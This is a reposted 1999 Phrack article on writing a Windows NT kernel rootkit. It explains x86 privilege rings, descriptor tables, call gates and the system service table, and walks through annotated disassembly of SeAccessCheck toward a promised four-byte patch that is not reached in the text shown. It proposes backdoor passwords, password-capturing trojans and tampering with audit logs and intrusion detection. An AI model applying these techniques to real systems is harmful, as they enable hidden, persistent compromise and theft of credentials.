The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

[Phrack] A *REAL* NT Rootkit, patching the NT Kernel (security )


<< Предыдущая ИНДЕКС Поиск в статьях src Установить закладку Перейти на закладку Следующая >>
Ключевые слова: security,  (найти похожие документы)
-------[ Phrack Magazine --- Vol. 9 | Issue 55 --- 09.09.99 --- 05 of 19 ] Subject: [Phrack] A *REAL* NT Rootkit, patching the NT Kernel --------[ Greg Hoglund <[email protected]> ] Introduction ------------ First of all, programs such as Back Orifice and Netbus are NOT rootkits. They are amateur versions of PC-Anywhere, SMS, or a slew of other commercial applications that do the same thing. If you want to remote control a workstation, you could just as easily purchase the incredibly powerful SMS system from Microsoft. A remote-desktop/administration application is NOT a rootkit. What is a rootkit? A rootkit is a set of programs which *PATCH* and *TROJAN* existing execution paths within the system. This process violates the *INTEGRITY* of the TRUSTED COMPUTING BASE (TCB). In other words, a rootkit is something which inserts backdoors into existing programs, and patches or breaks the existing security system. - A rootkit may disable auditing when a certain user is logged on. - A rootkit could allow anyone to log in if a certain "backdoor" password is used. - A rootkit could patch the kernel itself, allowing anyone to run privileged code if they use a special filename. The possibilities are endless, but the point is that the "rootkit" involves itself in pre-existing architecture, so that it goes un-noticed. A remote administration application such as PC Anywhere is exactly that, an application. A rootkit, on the other hand, patches the already existing paths within the target operating system. To illustrate this, I have included in this document a 4-byte patch to the NT kernel that removes ALL security restrictions from objects within the NT domain. If this patch were applied to a running PDC, the entire domain's integrity would be violated. If this patch goes unnoticed for weeks or even months, it would be next to impossible to determine the damage. Network based security & the Windows NT Trust Domain ---------------------------------------------------- If you know much about the NT Kernel, you know that one of the executive components is called the Security Reference Monitor (SRM). The DoD Red Book also defines a "Security Reference Monitor". We are talking the same language. In the Red Book, a security domain is managed by a single entity. To Quote: "A single trusted system is accredited as a single entity by a single accrediting authority. A ``single trusted system'' network implements a reference monitor to enforce the access of subjects to objects in accordance with an explicit and well defined network security policy [DoD Red Book]." In NT parlance, that is called the Primary Domain Controller (PDC). Remember that every system has local security and domain security. In this case, we are talking about the domain security. The PDC's "Security Reference Monitor" is responsible for managing all of the objects within the domain. In doing this, it creates a single point of control, and therefore a "single trusted system" network. How to violate system integrity ------------------------------- I know this is alot of book theory, but bear with me just a bit longer. The DoD Orange Book also defines a "Trusted Computing Base" (TCB). If you are an NT programmer, then you have likely worked with the security privilege SE_TCB_PRIVILEGE. That privilege maps to the more familiar "act as part of the Operating System" User-Right. Using the User Administrator for NT you can actually add this privilege to a user. If you have the ability to act as part of the TCB, you can basically do anything. There is very little security implemented between your process and the rest of the machine. If the TCB can no longer be trusted, then the integrity of the entire network system is shot. The patch I am about to show you is an example of this. The patch, if installed on a Workstation, violates a network "partition". The patch, if installed on a PDC, violates the entire network's integrity. What is a partition? The Red Book breaks the network into NTCB (Network Trusted Computing Base) "Partitions". Any single component or machine on the network may be considered a "partition". This makes it convenient for analysis. To Quote: "An NTCB that is distributed over a number of network components is referred to as partitioned, and that part of the NTCB residing in a given component is referred to as an NTCB partition. A network host may possess a TCB that has previously been evaluated as a stand-alone system. Such a TCB does not necessarily coincide with the NTCB partition in the host, in the sense of having the same security perimeter [DoD Red Book]." On the same host you may have two unique regions, the TCB, which is the traditional Orange Book evaluation for Trusted Computing Base, and the NTCB. These partitions do not have to overlap, but they can. If any component of one is violated, it is likely that the other is as well. In other words, if a host is compromised, the NTCB may also be compromised. Obviously to install a patch over the TCB, you must already be Administrator, or have the ability to install a device driver. Given that Trojans and Virii work so well, it would be very easy to cause this patch to be installed w/o someone's knowledge. Imagine an exploit ------------------ Before I digress into serious techno-garble, consider some of the attacks that are possible by patching the NT kernel. All of these are possible because we have violated the TCB itself: 1. Insert invalid data. Invalid data can be inserted into any network stream. It can also introduce errors into the fixed storage system, perhaps subtly over time, such that even the backups get corrupted. This violates reliability & integrity. 2. Patch incoming ICMP. Using ICMP as a covert channel, the patch can read ICMP packets coming into the kernel for embedded commands. 3. Patch incoming ethernet. It can act as a sniffer, but without all of the driver components. If it has patched the ethernet, then it can also stream data in/out of the network. It can sniff crypto keys. 4. Patch existing DLL's, such as wininet.dll, capturing important data. 5. Patch the IDS system. It can patch a program such as Tripwire or RealSecure to violate its integrity, rendering the program unable to detect the nastiness... 6. Patch the auditing system, i.e., event log, to ignore certain event log messages. Now for the rare steak. Let's delve into an actual kernel patch. If you already understand protected mode and the global descriptor table, then you can skip this next section. Otherwise put on your hiking boots, there are a couple of switchbacks ahead. Rings of Power -------------- Windows NT is unlike DOS or Windows 95 in that it has process-space security. Every user-mode process has an area of memory that is protected by a Security Descriptor. Usually this SD is determined from the Access Token of the user that started the process. Access to all objects is handled through a "Access Control List". For Windows NT, this is called "Discretionary Access Control". Personally I find it really hard to grasp something if I don't understand it's most basic details. So, this next section describes the very foundation that makes security possible on the x86 architecture. First, it is important to understand "protected mode". Protected mode can only be understood by memory addressing. Almost all of the expanded capabilities of the x86 processor are built upon memory addressing. Protected mode gives you access to a 4 GB memory space. Multitasking and privilege levels are all based upon tricks with memory addressing. This discussion only applies to 386 and beyond. Memory is divided into code and data segments. In protected mode, all memory is addressed as a segment + an offset. Conversely, in real mode, everything is interpreted as an actual address. For our discussion, we only care about protected mode. In protected mode things get a little more complicated. We must address first the segment, followed by an offset into that segment. It is sort of a two step process. Why is this interesting?? This is how most modern operating systems work, and it is important for exploits and Virii. Any modern mobile code must be able to work within this arena. What is a selector? A selector is just a fancy word for a memory segment. Memory segments are organized by a table. These table entries are often called descriptors. So, remember, a selector is-a segment is-a descriptor. It's all the same thing. If you understand how the memory segments are kept track of, then you pretty much understand the whole equation. Every memory segment is first a virtual address (16-bits) plus an offset from that address (32-bits). A segment is not an actual address, like in realmode, but the number of a selector it wants to use. A selector is usually a small integer number. This small number is an offset into a table of descriptors. In turn, the descriptor itself then has the actual linear address of the beginning of the memory segment. In addition to that, the descriptor has the access privilege of the memory segment. Descriptors are stored in a table called the Global Descriptor Table (GDT). Each descriptor has a Descriptor Privilege Level (DPL), indicating what ring the memory segment runs in. Suffice it to say, the selector is your vehicle. Under NT and 95, there are selectors which cover the entire 4GB address range. If you were using one of these selectors, you could walk all over the memory map from 0 to whatever. These selectors do exist, and they are protected by a DPL of 0. Under Windows 9x, selector 28 is a ring 0 that covers the entire 4gb region. Under NT, selectors 8 and 10 achieve the same purpose. Dumping the GDT from SoftIce produces a table similar to this: GDTBase=80036000 Limit=0x03FF 0008 Code32 00000000 FFFFFFFF 0 P RE 0010 Data32 00000000 FFFFFFFF 0 P RW 001B Code32 00000000 FFFFFFFF 3 P RE 0023 Data32 00000000 FFFFFFFF 3 P RW 0028 TSS32 8001D000 000020AB 0 P B 0048 Reserved 00000000 00000000 0 NP 0060 Data16 00000400 0000FFFF 3 P RW etc, etc .... You can see what segment you are currently using by checking the CPU registers. The registers SS, DS, and CS indicate which selectors are being used for Stack Segment, Code Segment, and Data Segment. The stack and code segments must be in the same ring. 1. Segments can overlap one another. In other words, more than one segment can represent the same address-space. Segments can overlap one another wholly, or only in part. The address range for a segment is important, of course, but there is other delicious information we care about. For instance, a segment also has a Privilege Level (DPL). ---- ---- | | | | | | | | | | ---- | | ---- | | | | | | | | ---- | | | | ---- What is a DPL? Descriptor Privilege Level. This is important to understand. Every memory segment is protected by a privilege level, often called a "ring". The Intel processor has 4 rings, 0 through 3, usually only ring 0 and 3 are used. Lower ring levels have more privilege. In order to access a memory segment, the caller must have a current privilege level equal to or lower than the one being accessed. Current privilege level is often called CPL, and descriptor privilege level is often called DPL. This type of protection is a requirement for almost any security architecture. In the old days of DOS, mobile code such as virii were able to hook interrupts and execute any code at whim. They were walking all over the memory map at will. No such luck with the advent of Windows NT. There's a gaping need for Windows NT exploits that can take advantage of the old tricks. The central problem is that most code is executing within user mode, and has not access to ring 0, and therefore no access to the Interrupt Descriptor Table or the memory map as a whole. Under NT, the access to ring 0 is controlled from the right to add your own selector to the GDT. When you transition to ring 0, you are still in protected mode and the Virtual Memory Manager is still operating. Lets suppose you have written a virus that patches the Global Descriptor Table (GDT) and adds a new descriptor. This new descriptor describes a memory segment that covers the entire range of the map, from 0 to FFFFFFFF___. The DPL of the descriptor is 0, so any code running from it can access other ring-0 segments. In fact, it can access the entire map. A DPL 0 memory segment marked as "conforming" will violate integrity. The sensitivity label, in this regard, would be the DPL. The fact it is conforming violates the DPL's of other segments, if they overlap. If your descriptor is marked conforming, it can be called freely from ring-3 (user mode). This new entry goes unnoticed, of course. Who monitors the GDT on their system? Most people don't even know what that is. There are few IDS systems that monitor this type of information. Now you have effectively placed a backdoor into the memory map. You could be running under any process token, and have full read/write access to the map. This means reading/writing other important tables, such as the Interrupt Table. This means reading other procii's protected memory. This means infecting other files and procii w/ your virii at whim. Patching the SRM ---------------- The Security Reference Monitor is responsible for enforcing access control. Under NT, all of the SRM functions are handled by ntoskrnl.exe. If the integrity of that code were violated, then the SRM could no longer be trusted. The whole security system has failed. The Security Reference Monitor is responsible for saying Yes/No to any object access. It consults a process table to determine your current running process' access token. It then compares the access token with the required access of the object. Every object has a Security Descriptor (SD). Your running process has an Access Token. Comparing these two structures, the SRM is able to deny or allow you access to the object. orange book: "In October of 1972, the Computer Security Technology Planning Study, conducted by James P. Anderson & Co., produced a report for the Electronic Systems Division (ESD) of the United States Air Force.[1] In that report, the concept of "a reference monitor which enforces the authorized access relationships between subjects and objects of a system" was introduced. The reference monitor concept was found to be an essential element of any system that would provide multilevel secure computing facilities and controls." It then listed the three design requirements that must be met by a reference validation mechanism: a. The reference validation mechanism must be tamper proof. b. The reference validation mechanism must always be invoked. c. The reference validation mechanism must be small enough to be subject to analysis and tests, the completeness of which can be assured."[1] The SRM is *NOT* tamper proof. It may be protected by the TCB security privilege, but I suggest that the only truly tamper-proof SRM is going to use cryptographic mechanisms. Using an attack vector such as Virii or Trojan's, a patch could easily be placed within the TCB. You can patch the SRM itself if you have access to the map. In this, you can insert a backdoor such that a certain user-id ALWYAS has access. However, this does not require you to edit the user's security level in any way. You are patching it at the access point, not the source. So, auditing programs will not be able to notice the problem. This is a simple trick that could be employed in any NT RootKit. There are several key components to the NT Kernel. They are sometimes referred to as the "NT Executive". The NT executive is really a group of individual components with a well defined interface. Each component has such a well defined interface, in fact, that you could actually take it out completely and replace it with a new one. As long as the new component implemented all of the same interfaces, then the system would continue to function. The following are all components of the NT Executive: HAL: Hardware Abstraction Layer, HAL.DLL NTOSKERNL: Contains several components, NTOSKRNL.EXE The Virtual Memory Manager (VMM) The Security Reference Monitor (SRM) The I/O Manager The Object Manager The Process and Thread Manager The Kernel Services themselves -(Exception handling and runtime library) LPC Manager (Local Procedure Call) Hey, these are some of the modules listed when a Blue Screen occurs! The system is just a big memory map! With all of this data we are bound to find structures of interest! Many key data structures are crucial to security. Once we know what we are looking for, we can get into SoftIce and start poking around. A list of the exported functions for some of these components is in Appendix A. Using a tool such as SoftIce, reverse engineering the SRM and other components is easy ;) The methodology is simple. First, we must find the component we are interested in. They all sit in system memory at some point... Some key data structures are: ACL (Access Control List), contains ACE's ACE (Access Control Entry), has a 32-bit Access Mask and a SID SID (Security Identifier), a big number PTE (Page Table Entry) SD (Security Descriptor), has an Owner SID, a Group SID, and an ACL AT (Access Token) Now for some tricks! The first thing we need to do is identify which of these data structures we will be using. If we want to reverse engineer the Security Reference Monitor, then we can be assured that our SID is going to be used in some call somewhere.. This is where SoftIce comes in. SoftIce has an incredible feature called expressions. SoftIce will let you define a regular expression to be evaluated for a breakpoint. In other words, I can tell SoftIce to break if only a special set of circumstances has occurred. So, for example (working implementation): 1. I want softice to break if the ESI register references my SID. Since a SID is many words long, I will have to define the expression in several portions: bpx (ESI->0 == 0x12345678) && (ESI->4 == 0x90123456) && (ESI->8 == 0x78901234) What I have done here is tell softice to break if the ESI register points to the data: 0x123456789012345678901234. Notice how I use the -> operator to offset ESI for each word. Now, try to access an object. SoftIce will promptly break when your SID is used in a call. There are many system components that are worth reverse engineering. You may also want to play with the following: 1. GINA, (GINA.DLL) The logon screen you see when you type your password. Imagine if this component was trojaned.. A Virii could capture passwords across the enterprise. 2. LSA (The Local System Authority) This is the module responsible for querying the SAM database. This would be an ideal place to put a rootkit-password that *ALWAYS* allows you access to the system. 3. SSDT, The System Service Descriptor Table 4. GDT, the Global Descriptor Table 5. IDT, the Interrupt Descriptor Table Getting to ring zero in the first place --------------------------------------- User mode is very limiting under NT. Your process is bound by the selector it is currently using. The process cannot simply waltz over the entire memory map. As we have discussed, the process must first load a selector. You cannot simply read memory from 0 to FFF_, you can only access your own memory segment. There are tricks however. If the process is running under a user token that has "add service" privilege, then you can create your own call gate, install it in realtime, and then use it to run your code ring 0. Once you are running ring 0 you can patch the IDT or the Kernel. This is how User-Mode normally accesses a Ring-0 Code Segment. If you don't want to go to this trouble, you can upload a byte patcher that runs in ring zero on boot. This is as simple as writing a driver and installing to run on the next reboot. However, installing your own call-gate is by far the most sexy. Lets talk sexy. The answer is a call gate. All of the functions provided by NTDLL.DLL are implemented this way. This is why you must call Int 2Eh to make a call. The entire set of Int 2Eh functions are known as the Native Call Interface (NCI). What really happens is the Int 2Eh is handled by a function in NTOSKRNL.EXE. This function is called KiSystemService(). KiSystemService() routes the call to the proper code location. When you make a system call, you must first load the index of the function you wish to call. This is loaded into register EAX. Next, if the call takes parameters, a pointer to this block is loaded into EDX. Interrupt 2Eh is called, and EAX holds the return value. This is old hat to most assembler programmers. What is not obvious is how this is implemented in the Kernel. The function KiSystemService() is called, and left with the responsibility for dispatching the call. KiSystemService() must first determine *WHAT* function to call next, based on what we put in EAX. So, to this end, it maintains a table of functions and their index numbers.. imagine that! SofIce will dump this table if your interested. It looks something like: :ntcall Service table address: 80149398 Number of services:000000D4 0000 0008:8017451E params=06 ntoskrnl!NtConnectPort+0834 0001 0008:80199C16 params=08 ntoskrnl!SeQueryAuthenticationIdToken+04B8 0002 0008:8019B3A2 params=0B ntoskrnl!SePrivilegeObjectAuditAlarm+02B0 0003 0008:80158E50 params=02 ntoskrnl!NtAddAtom 0004 0008:80197624 params=06 ntoskrnl!NtAdjustPrivilegesToken+0422 0005 0008:80197202 params=06 ntoskrnl!NtAdjustPrivilegesToken 0006 0008:80196256 params=02 ntoskrnl!PsGetProcessExitTime+1848 0007 0008:8019620E params=01 ntoskrnl!PsGetProcessExitTime+1800 0008 0008:8015901E params=01 ntoskrnl!NtAllocateLocallyUniqueId 0009 0008:801592EC params=03 ntoskrnl!NtAllocateUuids 000A 0008:8017B0F6 params=06 ntoskrnl!NtAllocateVirtualMemory 000B 0008:8011B8E4 params=03 ntoskrnl!ZwYieldExecution+08AC etc etc... Well, this is all very interesting, but where is this table stored? How does SoftIce manage to read it? Of course, it's all undocumented ;-) Here I have no one to thank more than my friend from Sri Lanka, a fellow Rhino9 member, who goes by the handle Joey__. His paper on extending the NCI is nothing less than mind-blowing. I draw heavily upon his research for this section. I feel this paper could not be complete without going over call-gates and the NCI, so I paraphrase some of his work. For more detailed information on adding your own system services, read his paper entitled "Adding New Services to the NT Kernel Native API". A very interesting thing happens when you boot NT. You start with about 200 functions in the NCI. These are all implemented in NTOSKRNL.EXE. But, soon afterwards, another 500 or so functions are added to the NCI, these being implemented in WIN32K.SYS. The fact that additional functions were added proves that it is possible to register new functions into the NCI during runtime. The table that SoftIce dumps when you type NTCALL is called the System Service Descriptor Table (SSDT). The SSDT is what the KiSystemService() function uses to look up the proper function for a Int 2Eh call. Given that the NCI is extensible, it must be possible to add new functions to this table. As it turns out, there are actually multiple tables. WIN32K.SYS doesn't actually add to the EXISTING system table, but creates a whole NEW one with 500 or so functions, and then ADDS it to the Kernel. To do this, it calls the exported function KeAddSystemServiceTable(). So, in a nutshell, all we have to do is create a new table with OUR functions and do the same thing. Another angle on this involves adding our functions to the existing NCI table. But, this involves patching memory. Again, that's what we do best. To pull this trick off cleanly, we must allocate new memory large enough to hold the old tables plus our additional entries. We then must copy the old tables into our new memory, add our entries, and then patch memory so that KiSystemService() looks at our new table. The FOUR-Byte Patch ------------------- Okay, lesson number one. Don't make yourself do extra work when you don't have to. This is the story of my life. I started this project by reversing the RtlXXX subroutines. For instance, there is a routine called RtlGetOwnerSecurityDescriptor(). This is a simple utility function that returns the Owner SID for a given security descriptor. I patched this routine to check for the BUILTIN\Administrators group, and alter it to be the BUILTIN\Users group. Although this patch works, it doesn't help me obtain access to protected files and shares. The RTL routine is only called for Process and Thread creation, it would seem. So, to make a long story short, I have included the RTLXXX information and patch below. It will illustrate a working kernel patch and should help you see my thought process as I 0wned a key kernel function. Okay, lesson number two. If at first you don't succeed, try another function. This time I got very wise and decided to test a number of breakpoints in the Kernel before doing any extra work. Because I wanted to circumvent access to a file directly, I moved directly onward to the SeAccessCheck() function. Up front, I set a breakpoint on this function to make sure it is being called when accessing a file. To my excitement, it appears this function is called for almost any object access, not just a file. This means network shares as well. Going further, I tested my next patch against network share access as well as file access. I created a test directory, shared it over the network, and created a test file within that directory. At first, the file had the default Everyone FULL CONTROL permissions. I set a breakpoint on SeAccessCheck() and attempted to cat the file. For this simple command the function is called three times: Break due to BPX ntoskrnl!SeAccessCheck (ET=2.01 seconds) :stack Ntfs!PAGE+B683 at 0008:8020C203 (SS:EBP 0010:FD711D1C) => ntoskrnl!SeAccessCheck at 0008:8019A0E6 (SS:EBP 0010:FD711734) Break due to BPX ntoskrnl!SeAccessCheck (ET=991.32 microseconds) :stack Ntfs!PAGE+B683 at 0008:8020C203 (SS:EBP 0010:FD711CB8) => ntoskrnl!SeAccessCheck at 0008:8019A0E6 (SS:EBP 0010:FD7116D8) Break due to BPX ntoskrnl!SeAccessCheck (ET=637.15 microseconds) :stack Ntfs!PAGE+B683 at 0008:8020C203 (SS:EBP 0010:FD711D08) => ntoskrnl!SeAccessCheck at 0008:8019A0E6 (SS:EBP 0010:FD711720) Next I set the file access to Administrator NO ACCESS. Attempting to cat the file locally resulted in an "Access Denied" message. The routine is called 13 times before the Access Denied message is given. Now I try to access it over the network. The function is called a total of 18 times before a Access Denied message is given. It would seem it takes alot more work to deny access than it does to give it. ;) I was lit now, it looked like I had my target. After another 2 shots of espresso, I dumped the IDA file for SeAccessCheck, busted into SoftIce and started exploring: To make things simpler, I have removed some of the assembly code that is not part of my discussion. If you are going to start playing with this, then you should disassemble all of this yourself nonetheless. I recommend IDA. At first I tried WDAsm32, but it was unable to decompile the ntoskrnl.exe binary properly. IDA, on the other hand, had no problems. WDAsm32 has a much nicer GUI interface, but IDA has proved more reliable. Just as most engineers, I use many tools to get the job done, so I recommend having both disassemblers around. The function & patches: 8019A0E6 ; Exported entry 816. SeAccessCheck 8019A0E6 8019A0E6 ;
8019A0E6 8019A0E6 ; S u b r o u t i n e 8019A0E6 ; Attributes: bp-based frame 8019A0E6 8019A0E6 public SeAccessCheck 8019A0E6 SeAccessCheck proc near 8019A0E6 ; sub_80133D06+B0p ... 8019A0E6 8019A0E6 arg_0 = dword ptr 8 ; appears to point to a ; Security Descriptor 8019A0E6 arg_4 = dword ptr 0Ch 8019A0E6 arg_8 = byte ptr 10h 8019A0E6 arg_C = dword ptr 14h 8019A0E6 arg_10 = dword ptr 18h 8019A0E6 arg_14 = dword ptr 1Ch 8019A0E6 arg_18 = dword ptr 20h 8019A0E6 arg_1C = dword ptr 24h 8019A0E6 arg_20 = dword ptr 28h 8019A0E6 arg_24 = dword ptr 2Ch 8019A0E6 8019A0E6 push ebp 8019A0E7 mov ebp, esp 8019A0E9 push ebx 8019A0EA push esi 8019A0EB push edi 8019A0EC cmp byte ptr [ebp+arg_1C], 0 8019A0F0 mov ebx, [ebp+arg_C] 8019A0F3 jnz short loc_8019A137 8019A0F5 test ebx, 2000000h 8019A0FB jz short loc_8019A11D 8019A0FD mov eax, [ebp+arg_18] 8019A100 mov edi, [ebp+arg_20] 8019A103 mov ecx, ebx 8019A105 mov eax, [eax+0Ch] 8019A108 and ecx, 0FDFFFFFFh 8019A10E mov [edi], eax 8019A110 or ecx, eax 8019A112 mov eax, [ebp+arg_10] 8019A115 or eax, ecx 8019A117 mov [edi], ecx 8019A119 mov [edi], eax 8019A11B jmp short loc_8019A13A 8019A11D ;
8019A11D 8019A11D loc_8019A11D: ; CODE XREF: SeAccessCheck+15 8019A11D mov eax, [ebp+arg_10] 8019A120 mov edi, [ebp+arg_20] 8019A123 or eax, ebx 8019A125 mov edx, [ebp+arg_24] 8019A128 mov [edi], eax 8019A12A mov al, 1 8019A12C mov dword ptr [edx], 0 8019A132 jmp loc_8019A23A 8019A137 ;
8019A137 8019A137 loc_8019A137: ; CODE XREF: SeAccessCheck+D 8019A137 mov edi, [ebp+arg_20] 8019A13A 8019A13A loc_8019A13A: ; CODE XREF: SeAccessCheck+35 8019A13A cmp [ebp+arg_0], 0 8019A13E jnz short loc_8019A150 8019A140 mov edx, [ebp+arg_24] 8019A143 xor al, al ; STATUS_ACCESS_DENIED not hit ; under normal means 8019A145 mov dword ptr [edx], 0C0000022h 8019A14B jmp loc_8019A23A 8019A150 ;
8019A150 8019A150 loc_8019A150: ; CODE XREF: SeAccessCheck+58 8019A150 mov esi, [ebp+arg_4] 8019A153 cmp dword ptr [esi], 0 8019A156 jz short loc_8019A16E 8019A158 cmp dword ptr [esi+4], 2 8019A15C jge short loc_8019A16E 8019A15E mov edx, [ebp+arg_24] 8019A161 xor al, al ; STATUS_BAD_IMPERSONATION_LEVEL ; not normally hit 8019A163 mov dword ptr [edx], 0C00000A5h 8019A169 jmp loc_8019A23A 8019A16E ;
8019A16E 8019A16E loc_8019A16E: ; CODE XREF: SeAccessCheck+70 8019A16E ; SeAccessCheck+76 8019A16E test ebx, ebx 8019A170 jnz short loc_8019A1A0 8019A172 cmp [ebp+arg_10], 0 8019A176 jnz short loc_8019A188 8019A178 mov edx, [ebp+arg_24] 8019A17B xor al, al ; STATUS_ACCESS_DENIED not ; normally hit 8019A17D mov dword ptr [edx], 0C0000022h 8019A183 jmp loc_8019A23A 8019A188 ;
8019A188 8019A188 loc_8019A188: ; CODE XREF: SeAccessCheck+90 8019A188 mov eax, [ebp+arg_10] 8019A18B xor ecx, ecx 8019A18D mov edx, [ebp+arg_24] 8019A190 mov [edi], eax 8019A192 mov eax, [ebp+arg_14] 8019A195 mov [edx], ecx 8019A197 mov [eax], ecx 8019A199 mov al, 1 8019A19B jmp loc_8019A23A 8019A1A0 ;
8019A1A0 8019A1A0 loc_8019A1A0: ; CODE XREF: SeAccessCheck+8A 8019A1A0 cmp [ebp+arg_8], 0 8019A1A4 jnz short loc_8019A1AC 8019A1A6 push esi 8019A1A7 call SeLockSubjectContext 8019A1AC 8019A1AC loc_8019A1AC: ; CODE XREF: SeAccessCheck+BE 8019A1AC test ebx, 2060000h 8019A1B2 jz short loc_8019A1EA 8019A1B4 mov eax, [esi] 8019A1B6 test eax, eax 8019A1B8 jnz short loc_8019A1BD 8019A1BA mov eax, [esi+8] 8019A1BD 8019A1BD loc_8019A1BD: ; CODE XREF: SeAccessCheck+D2 8019A1BD push 1 8019A1BF push [ebp+arg_0] 8019A1C2 push eax 8019A1C3 call sub_8019A376 8019A1C8 test al, al 8019A1CA jz short loc_8019A1EA 8019A1CC test ebx, 2000000h 8019A1D2 jz short loc_8019A1DA 8019A1D4 or byte ptr [ebp+arg_10+2], 6 8019A1D8 jmp short loc_8019A1E4 8019A1DA ;
8019A1DA 8019A1DA loc_8019A1DA: ; CODE XREF: SeAccessCheck+EC 8019A1DA mov eax, ebx 8019A1DC and eax, 60000h 8019A1E1 or [ebp+arg_10], eax 8019A1E4 8019A1E4 loc_8019A1E4: ; CODE XREF: SeAccessCheck+F2 8019A1E4 and ebx, 0FFF9FFFFh 8019A1EA 8019A1EA loc_8019A1EA: ; CODE XREF: SeAccessCheck+CC 8019A1EA ; SeAccessCheck+E4 8019A1EA test ebx, ebx 8019A1EC jnz short loc_8019A20C 8019A1EE cmp [ebp+arg_8], 0 8019A1F2 jnz short loc_8019A1FA 8019A1F4 push esi 8019A1F5 call SeUnlockSubjectContext 8019A1FA 8019A1FA loc_8019A1FA: ; CODE XREF: SeAccessCheck+10 8019A1FA mov eax, [ebp+arg_10] 8019A1FD mov edx, [ebp+arg_24] 8019A200 mov [edi], eax 8019A202 mov al, 1 8019A204 mov dword ptr [edx], 0 8019A20A jmp short loc_8019A23A 8019A20C ;
Since most of the arguments are being passed to this, it looks like this routine is a wrapper for this other one.. lets delve deeper.... 8019A20C 8019A20C loc_8019A20C: ; CODE XREF: SeAccessCheck+106 8019A20C push [ebp+arg_24] 8019A20F push [ebp+arg_14] 8019A212 push edi 8019A213 push [ebp+arg_1C] 8019A216 push [ebp+arg_10] 8019A219 push [ebp+arg_18] 8019A21C push ebx 8019A21D push dword ptr [esi] 8019A21F push dword ptr [esi+8] 8019A222 push [ebp+arg_0] 8019A225 call sub_80199836 ; decompiled below *** 8019A22A cmp [ebp+arg_8], 0 8019A22E mov bl, al 8019A230 jnz short loc_8019A238 8019A232 push esi 8019A233 call SeUnlockSubjectContext ; not usually hit 8019A238 8019A238 loc_8019A238: ; CODE XREF: SeAccessCheck+14A 8019A238 mov al, bl 8019A23A 8019A23A loc_8019A23A: ; CODE XREF: SeAccessCheck+4C 8019A23A ; SeAccessCheck+65 ... 8019A23A pop edi 8019A23B pop esi 8019A23C pop ebx 8019A23D pop ebp 8019A23E retn 28h 8019A23E SeAccessCheck endp Subroutine called from SeAccessCheck. Looks like most of work is being done in here. I will try to patch this routine. 80199836 ;
80199836 80199836 ; S u b r o u t i n e 80199836 ; Attributes: bp-based frame 80199836 80199836 sub_80199836 proc near ; CODE XREF: PAGE:80199FFA 80199836 ; SeAccessCheck+13F ... 80199836 80199836 var_14 = dword ptr -14h 80199836 var_10 = dword ptr -10h 80199836 var_C = dword ptr -0Ch 80199836 var_8 = dword ptr -8 80199836 var_2 = byte ptr -2 80199836 arg_0 = dword ptr 8 80199836 arg_4 = dword ptr 0Ch 80199836 arg_8 = dword ptr 10h 80199836 arg_C = dword ptr 14h 80199836 arg_10 = dword ptr 18h 80199836 arg_16 = byte ptr 1Eh 80199836 arg_17 = byte ptr 1Fh 80199836 arg_18 = dword ptr 20h 80199836 arg_1C = dword ptr 24h 80199836 arg_20 = dword ptr 28h 80199836 arg_24 = dword ptr 2Ch 80199836 80199836 push ebp 80199837 mov ebp, esp 80199839 sub esp, 14h 8019983C push ebx 8019983D push esi 8019983E push edi 8019983F xor ebx, ebx 80199841 mov eax, [ebp+arg_8] ; pulls eax 80199844 mov [ebp+var_14], ebx ; ebx is zero, looks ; like it init's a ; bunch of local vars 80199847 mov [ebp+var_C], ebx 8019984A mov [ebp-1], bl 8019984D mov [ebp+var_2], bl 80199850 cmp eax, ebx ; check that arg8 is ; NULL 80199852 jnz short loc_80199857 80199854 mov eax, [ebp+arg_4] ; arg4 pts to ; "USER32 " 80199857 80199857 loc_80199857: 80199857 mov edi, [ebp+arg_C] ; checking some flags ; off of this one 8019985A mov [ebp+var_8], eax ; var_8 = arg_4 8019985D test edi, 1000000h ; obviously flags.. ; desired access mask ; I think... 80199863 jz short loc_801998CA ; normally this jumps.. ; go ahead and jump 80199865 push [ebp+arg_18] 80199868 push [ebp+var_8] 8019986B push dword_8014EE94 80199871 push dword_8014EE90 80199877 call sub_8019ADE0 ; another undoc'd sub 8019987C test al, al ; return code 8019987E jnz short loc_80199890 80199880 mov ecx, [ebp+arg_24] 80199883 xor al, al 80199885 mov dword ptr [ecx], 0C0000061h 8019988B jmp loc_80199C0C 80199890 ;
removed source here 801998CA ;
801998CA 801998CA loc_801998CA: ; jump from above lands here 801998CA ; sub_80199836 801998CA mov eax, [ebp+arg_0] ; arg0 pts to a ; Security Descriptor 801998CD mov dx, [eax+2] ; offset 2 is that ; 80 04 number... 801998D1 mov cx, dx 801998D4 and cx, 4 ; 80 04 become 00 04 801998D8 jz short loc_801998EA ; normally doesnt jump 801998DA mov esi, [eax+10h] ; SD[10h] is an offset ; value to the DACL in ; the SD 801998DD test esi, esi ; make sure it exists 801998DF jz short loc_801998EA 801998E1 test dh, 80h 801998E4 jz short loc_801998EC 801998E6 add esi, eax ; FFWDS to first DACL ; in SD ****** 801998E8 jmp short loc_801998EC ; normally all good ; here, go ahead and ; jump 801998EA ;
801998EA 801998EA loc_801998EA: ; CODE XREF: sub_80199836+A2 801998EA ; sub_80199836+A9 801998EA xor esi, esi 801998EC 801998EC loc_801998EC: ; CODE XREF: sub_80199836+AE 801998EC ; sub_80199836+B2 801998EC cmp cx, 4 ; jump lands here 801998F0 jnz loc_80199BC6 801998F6 test esi, esi 801998F8 jz loc_80199BC6 801998FE test edi, 80000h ; we normally dont match this, ; so go ahead and jump 80199904 jz short loc_8019995E *** removed source here *** 8019995E ;
8019995E 8019995E loc_8019995E: ; CODE XREF: sub_80199836+CE 8019995E ; sub_80199836+D4 ... 8019995E movzx eax, word ptr [esi+4] ; jump lands 80199962 mov [ebp+var_10], eax ; offset 4 is number of ; ACE's present in DACL ; var_10 = # Ace's 80199965 xor eax, eax 80199967 cmp [ebp+var_10], eax 8019996A jnz short loc_801999B7 ; normally jump *** removed source here *** 801999A2 ;
*** removed source here *** 801999B7 ;
801999B7 801999B7 loc_801999B7: ; CODE XREF: sub_80199836+134 801999B7 test byte ptr [ebp+arg_C+3], 2 ; looks like part of ; the flags data, ; we usually jump 801999BB jz loc_80199AD3 *** removed source here *** 80199AD3 ;
